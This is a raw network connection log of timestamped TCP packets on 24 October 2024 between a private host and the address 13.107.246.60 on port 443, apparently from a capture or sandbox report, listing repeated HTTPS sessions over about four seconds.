Oct 24, 2024 08:50:51.381228924 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.381258965 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.381340027 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.381468058 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.381483078 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.425187111 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.425277948 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.425426960 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.425745964 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.425774097 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.425789118 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.425796986 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.429411888 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.429455042 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.429735899 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.429831028 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.429845095 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.096462011 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.097230911 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.097268105 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.097727060 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.097733974 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.100630999 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.101125956 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.101145029 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.101619959 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.101624966 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.106501102 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.109472036 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.109505892 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.109980106 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.109991074 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.119036913 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.119533062 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.119575024 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.120038033 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.120044947 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.170797110 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.172126055 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.172157049 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.172655106 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.172661066 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.225649118 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.225759029 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.225891113 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.226198912 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.226257086 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.226295948 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.226314068 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.230279922 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.230443001 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.230516911 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.233726025 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.233757973 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.233784914 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.233798981 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.234271049 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.234317064 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.234395981 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.234534979 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.234549046 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.236310005 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.236546993 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.236598015 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.236618996 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.236670971 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.236670971 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.236690998 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.236701965 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.236716986 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.236818075 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.236962080 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.236998081 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.239437103 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.239489079 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.239569902 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.239710093 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.239727974 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.250588894 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.250668049 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.250730038 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.252383947 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.252396107 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.252409935 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.252414942 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.256865978 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.256931067 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.257163048 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.257755041 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.257778883 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.302608967 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.302756071 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.302963972 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.303103924 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.303122997 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.303133011 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.303138971 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.306668043 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.306721926 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.306823015 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.307017088 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.307037115 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.965060949 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.968489885 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.978573084 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.979213953 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.979266882 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.982132912 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.982147932 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.984652042 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.984680891 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.984930992 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.984956026 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.985119104 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.985125065 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:52.985424042 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:52.985435009 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.000094891 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.000776052 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.000798941 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.001296043 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.001303911 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.107150078 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.107309103 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.107397079 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.107788086 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.107788086 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.107810974 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.107824087 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.111152887 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.111190081 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.111262083 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.111361027 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.111483097 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.111494064 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.111612082 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.111673117 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.111735106 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.111735106 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.111746073 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.111756086 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.113820076 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.113848925 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.113907099 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.114022970 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.114032984 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.114073038 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.114464998 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.114526987 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.114603043 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.114622116 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.114633083 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.114639044 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.116564989 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.116590023 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.116666079 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.116780043 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.116796017 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.131593943 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.131737947 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.131859064 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.131895065 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.131911993 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.131918907 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.131923914 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.134314060 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.134354115 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.134424925 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.134557962 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.134571075 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.255027056 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.256026030 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.256052971 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.256428003 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.256433964 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.392569065 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.393107891 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.393313885 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.393313885 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.393358946 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.393378019 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.397680998 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.397707939 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.397790909 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.397945881 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.397953987 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.844793081 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.845551968 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.845638990 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.846066952 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.846084118 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.851373911 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.851773977 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.851807117 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.852294922 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.852303982 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.855484009 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.858436108 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.858465910 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.858870983 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.858876944 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.880271912 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.880773067 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.880801916 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.881206036 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.881217003 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.978583097 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.978867054 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.978992939 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.981684923 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.981765032 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.981884003 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.986959934 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.987093925 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.987159967 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.987413883 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.987466097 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.987505913 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.987524033 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.989072084 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.989095926 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.989110947 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.989116907 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.990000963 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.990025997 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.990037918 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.990044117 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.993891001 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:53.993921041 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:53.993994951 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.004554033 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.004604101 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.004693031 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.008229971 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.008244038 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.008317947 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.008548975 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.008558035 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.008687973 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.008718014 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.008773088 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.008784056 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.012844086 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.013011932 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.013077021 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.015796900 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.015806913 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.015832901 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.015837908 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.018939018 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.018970966 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.019057035 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.019229889 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.019243956 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.127564907 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.134218931 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.134243965 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.134787083 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.134795904 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.269593000 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.269756079 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.269841909 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.270056963 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.270073891 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.270157099 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.270164013 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.273437023 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.273531914 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.273631096 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.273792028 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.273813963 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.739480019 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.740220070 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.740264893 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.740767002 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.740773916 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.740911007 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.741151094 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.741182089 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.741507053 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.741512060 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.757486105 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.758162022 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.758177042 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.758583069 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.758586884 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.759675026 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.759947062 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.759960890 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.760301113 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.760305882 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.868477106 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.868628025 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.868884087 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.869005919 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.869028091 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.869043112 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.869050980 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.869749069 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.869805098 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.869852066 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.869961023 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.869976997 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.869995117 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.870001078 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.877214909 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.877244949 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.877243042 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.877286911 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.877345085 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.877382994 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.877552032 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.877553940 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.877562046 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.877563953 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.888351917 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.888418913 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.888509035 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.890361071 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.890376091 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.890387058 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.890391111 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.891640902 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.891851902 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.891915083 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.891959906 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.891971111 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.891985893 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.891992092 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.893393040 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.893407106 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:54.893481016 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:54.893630981 CEST	49819	443	192.168.2.4	13.107.246.60
